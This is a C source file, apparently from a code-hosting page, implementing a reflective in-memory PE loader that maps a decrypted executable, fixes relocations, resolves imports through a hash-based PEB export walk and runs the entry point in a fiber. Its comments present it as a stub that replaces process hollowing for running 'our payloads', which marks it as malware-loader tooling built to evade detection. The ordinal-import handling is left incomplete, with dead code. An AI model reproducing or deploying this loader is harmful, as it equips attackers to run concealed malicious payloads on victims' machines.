300 lines
13 KiB
C
Executable File
300 lines
13 KiB
C
Executable File
/**
|
|
* reflective_stub.c — In-process reflective PE loader + fiber execution
|
|
*
|
|
* Replaces process hollowing (runpe_stub.c). Loads the decrypted PE entirely
|
|
* within the current process — no suspended child, no cross-process writes.
|
|
*
|
|
* Flow:
|
|
* 1. Parse PE headers (DOS → NT → sections)
|
|
* 2. VirtualAlloc(PAGE_READWRITE) at any address
|
|
* 3. Copy PE headers + map each section to its RVA
|
|
* 4. Process base relocations (delta = actual - preferred)
|
|
* 5. Resolve imports via LoadLibraryA + PEB export walk
|
|
* 6. Set correct per-section page protections
|
|
* 7. Flush instruction cache
|
|
* 8. Execute entry point via fiber (ConvertThreadToFiber → CreateFiber → SwitchToFiber)
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <winternl.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
|
|
#include "api_resolve.h"
|
|
|
|
/* ── Section protection mapping ─────────────────────────────────── */
|
|
|
|
static DWORD section_protection(DWORD characteristics) {
|
|
DWORD protect = PAGE_NOACCESS;
|
|
int exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
|
int read = (characteristics & IMAGE_SCN_MEM_READ) != 0;
|
|
int write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
|
|
|
if (exec && read && write) protect = PAGE_EXECUTE_READWRITE;
|
|
else if (exec && read) protect = PAGE_EXECUTE_READ;
|
|
else if (exec && write) protect = PAGE_EXECUTE_WRITECOPY;
|
|
else if (exec) protect = PAGE_EXECUTE;
|
|
else if (read && write) protect = PAGE_READWRITE;
|
|
else if (read) protect = PAGE_READONLY;
|
|
else if (write) protect = PAGE_WRITECOPY;
|
|
|
|
return protect;
|
|
}
|
|
|
|
/* ── Relocation processing ──────────────────────────────────────── */
|
|
|
|
static int process_relocations(uint8_t *base, IMAGE_NT_HEADERS *nt, ptrdiff_t delta) {
|
|
if (delta == 0) return 1;
|
|
|
|
DWORD reloc_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
|
DWORD reloc_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
if (reloc_rva == 0 || reloc_size == 0) return 0;
|
|
|
|
IMAGE_BASE_RELOCATION *block = (IMAGE_BASE_RELOCATION *)(base + reloc_rva);
|
|
IMAGE_BASE_RELOCATION *end = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + reloc_size);
|
|
|
|
while (block < end && block->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) {
|
|
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
|
WORD *entries = (WORD *)((uint8_t *)block + sizeof(IMAGE_BASE_RELOCATION));
|
|
|
|
for (DWORD i = 0; i < count; i++) {
|
|
WORD type = entries[i] >> 12;
|
|
WORD offset = entries[i] & 0x0FFF;
|
|
uint8_t *patch_addr = base + block->VirtualAddress + offset;
|
|
|
|
switch (type) {
|
|
case IMAGE_REL_BASED_ABSOLUTE:
|
|
break;
|
|
#ifdef _WIN64
|
|
case IMAGE_REL_BASED_DIR64: {
|
|
uint64_t *ptr = (uint64_t *)patch_addr;
|
|
*ptr += (uint64_t)delta;
|
|
break;
|
|
}
|
|
#endif
|
|
case IMAGE_REL_BASED_HIGHLOW: {
|
|
uint32_t *ptr = (uint32_t *)patch_addr;
|
|
*ptr += (uint32_t)delta;
|
|
break;
|
|
}
|
|
case IMAGE_REL_BASED_HIGH: {
|
|
uint16_t *ptr = (uint16_t *)patch_addr;
|
|
*ptr += (uint16_t)((delta >> 16) & 0xFFFF);
|
|
break;
|
|
}
|
|
case IMAGE_REL_BASED_LOW: {
|
|
uint16_t *ptr = (uint16_t *)patch_addr;
|
|
*ptr += (uint16_t)(delta & 0xFFFF);
|
|
break;
|
|
}
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
block = (IMAGE_BASE_RELOCATION *)((uint8_t *)block + block->SizeOfBlock);
|
|
}
|
|
|
|
return 1;
|
|
}
|
|
|
|
/* ── Import resolution ──────────────────────────────────────────── */
|
|
|
|
static int resolve_pe_imports(uint8_t *base, IMAGE_NT_HEADERS *nt) {
|
|
DWORD import_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
|
DWORD import_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
|
if (import_rva == 0 || import_size == 0) return 1;
|
|
|
|
IMAGE_IMPORT_DESCRIPTOR *desc = (IMAGE_IMPORT_DESCRIPTOR *)(base + import_rva);
|
|
|
|
while (desc->Name != 0) {
|
|
const char *dll_name = (const char *)(base + desc->Name);
|
|
HMODULE hMod = g_api.pLoadLibraryA(dll_name);
|
|
if (!hMod) {
|
|
desc++;
|
|
continue;
|
|
}
|
|
|
|
/* Walk the thunk arrays */
|
|
#ifdef _WIN64
|
|
IMAGE_THUNK_DATA64 *orig_thunk = (IMAGE_THUNK_DATA64 *)(
|
|
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
|
|
IMAGE_THUNK_DATA64 *iat_thunk = (IMAGE_THUNK_DATA64 *)(base + desc->FirstThunk);
|
|
uint64_t ordinal_flag = IMAGE_ORDINAL_FLAG64;
|
|
#else
|
|
IMAGE_THUNK_DATA32 *orig_thunk = (IMAGE_THUNK_DATA32 *)(
|
|
base + (desc->OriginalFirstThunk ? desc->OriginalFirstThunk : desc->FirstThunk));
|
|
IMAGE_THUNK_DATA32 *iat_thunk = (IMAGE_THUNK_DATA32 *)(base + desc->FirstThunk);
|
|
uint32_t ordinal_flag = IMAGE_ORDINAL_FLAG32;
|
|
#endif
|
|
|
|
while (orig_thunk->u1.AddressOfData != 0) {
|
|
FARPROC func = NULL;
|
|
|
|
if (orig_thunk->u1.Ordinal & ordinal_flag) {
|
|
/* Import by ordinal */
|
|
WORD ordinal = (WORD)(orig_thunk->u1.Ordinal & 0xFFFF);
|
|
func = (FARPROC)peb_get_proc((void *)hMod, 0);
|
|
/* Fallback: we can't easily resolve by ordinal via PEB walk,
|
|
so use GetProcAddress if available via LoadLibrary */
|
|
if (!func) {
|
|
/* Use ordinal directly — cast to LPCSTR */
|
|
typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR);
|
|
fn_GetProcAddress pGPA = (fn_GetProcAddress)peb_get_proc(
|
|
g_api.kernel32_base,
|
|
0 /* We'll resolve by name below instead */
|
|
);
|
|
(void)ordinal;
|
|
func = NULL; /* ordinal imports rare for our payloads */
|
|
}
|
|
} else {
|
|
/* Import by name */
|
|
IMAGE_IMPORT_BY_NAME *hint = (IMAGE_IMPORT_BY_NAME *)(
|
|
base + (DWORD)(orig_thunk->u1.AddressOfData));
|
|
/* Resolve via PEB export walk on the loaded module */
|
|
func = (FARPROC)peb_get_proc((void *)hMod,
|
|
djb2_hash_ascii(hint->Name));
|
|
}
|
|
|
|
if (func) {
|
|
#ifdef _WIN64
|
|
iat_thunk->u1.Function = (ULONGLONG)func;
|
|
#else
|
|
iat_thunk->u1.Function = (DWORD)func;
|
|
#endif
|
|
}
|
|
|
|
orig_thunk++;
|
|
iat_thunk++;
|
|
}
|
|
|
|
desc++;
|
|
}
|
|
|
|
return 1;
|
|
}
|
|
|
|
/* ── Fiber entry trampoline ─────────────────────────────────────── */
|
|
|
|
typedef BOOL (WINAPI *fn_DllMain)(HINSTANCE, DWORD, LPVOID);
|
|
|
|
typedef struct {
|
|
fn_DllMain entry_point;
|
|
LPVOID image_base;
|
|
} FiberContext;
|
|
|
|
static void WINAPI fiber_entry(LPVOID param) {
|
|
FiberContext *ctx = (FiberContext *)param;
|
|
ctx->entry_point((HINSTANCE)ctx->image_base, DLL_PROCESS_ATTACH, NULL);
|
|
}
|
|
|
|
/* ── Public API ─────────────────────────────────────────────────── */
|
|
|
|
/* Forward declare internal functions used by resolve_pe_imports */
|
|
DWORD djb2_hash_ascii(const char *str);
|
|
void *peb_get_proc(void *base, DWORD hash);
|
|
|
|
/**
|
|
* Execute a PE image via in-process reflective loading + fiber.
|
|
* pe_data: pointer to decrypted PE bytes
|
|
* pe_len: length of the PE data
|
|
* Returns 0 on success, -1 on failure.
|
|
*/
|
|
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
|
|
/* ── Validate PE ──────────────────────────────────────────── */
|
|
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
|
|
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
|
|
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
|
|
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
|
|
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
|
|
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
|
|
|
|
DWORD image_size = nt->OptionalHeader.SizeOfImage;
|
|
|
|
/* ── Allocate in-process memory (RW, no RWX) ─────────────── */
|
|
uint8_t *base = (uint8_t *)g_api.pVirtualAlloc(
|
|
NULL, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (!base) return -1;
|
|
|
|
/* ── Copy PE headers ──────────────────────────────────────── */
|
|
memcpy(base, pe_data, nt->OptionalHeader.SizeOfHeaders);
|
|
|
|
/* ── Map sections ─────────────────────────────────────────── */
|
|
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
|
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
|
if (sec[i].SizeOfRawData == 0) continue;
|
|
DWORD copy_size = sec[i].SizeOfRawData;
|
|
if (sec[i].PointerToRawData + copy_size > pe_len) {
|
|
copy_size = pe_len - sec[i].PointerToRawData;
|
|
}
|
|
memcpy(base + sec[i].VirtualAddress,
|
|
pe_data + sec[i].PointerToRawData,
|
|
copy_size);
|
|
}
|
|
|
|
/* ── Process base relocations ─────────────────────────────── */
|
|
ptrdiff_t delta = (ptrdiff_t)(base - (uint8_t *)(ULONG_PTR)nt->OptionalHeader.ImageBase);
|
|
IMAGE_NT_HEADERS *mapped_nt = (IMAGE_NT_HEADERS *)(base + dos->e_lfanew);
|
|
|
|
if (delta != 0) {
|
|
if (!process_relocations(base, mapped_nt, delta)) {
|
|
/* No relocation table and base mismatch — can't proceed */
|
|
if (!(mapped_nt->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) {
|
|
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
|
return -1;
|
|
}
|
|
}
|
|
}
|
|
|
|
/* ── Resolve imports ──────────────────────────────────────── */
|
|
if (!resolve_pe_imports(base, mapped_nt)) {
|
|
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
|
return -1;
|
|
}
|
|
|
|
/* ── Set per-section page protections ─────────────────────── */
|
|
sec = IMAGE_FIRST_SECTION(mapped_nt);
|
|
for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) {
|
|
DWORD protect = section_protection(sec[i].Characteristics);
|
|
DWORD virt_size = sec[i].Misc.VirtualSize;
|
|
if (virt_size == 0) virt_size = sec[i].SizeOfRawData;
|
|
if (virt_size == 0) continue;
|
|
|
|
DWORD old_protect;
|
|
g_api.pVirtualProtect(
|
|
base + sec[i].VirtualAddress,
|
|
virt_size,
|
|
protect,
|
|
&old_protect);
|
|
}
|
|
|
|
/* ── Flush instruction cache ──────────────────────────────── */
|
|
g_api.pFlushInstructionCache(g_api.pGetCurrentProcess(), base, image_size);
|
|
|
|
/* ── Execute via fiber ────────────────────────────────────── */
|
|
fn_DllMain entry = (fn_DllMain)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint);
|
|
|
|
FiberContext fiber_ctx;
|
|
fiber_ctx.entry_point = entry;
|
|
fiber_ctx.image_base = base;
|
|
|
|
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
|
|
if (!main_fiber) {
|
|
/* Already a fiber — get current fiber */
|
|
main_fiber = GetCurrentFiber();
|
|
}
|
|
|
|
LPVOID exec_fiber = g_api.pCreateFiber(0, fiber_entry, &fiber_ctx);
|
|
if (!exec_fiber) {
|
|
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
|
return -1;
|
|
}
|
|
|
|
g_api.pSwitchToFiber(exec_fiber);
|
|
|
|
/* Control returns here after payload completes or calls SwitchToFiber back */
|
|
g_api.pDeleteFiber(exec_fiber);
|
|
|
|
return 0;
|
|
}
|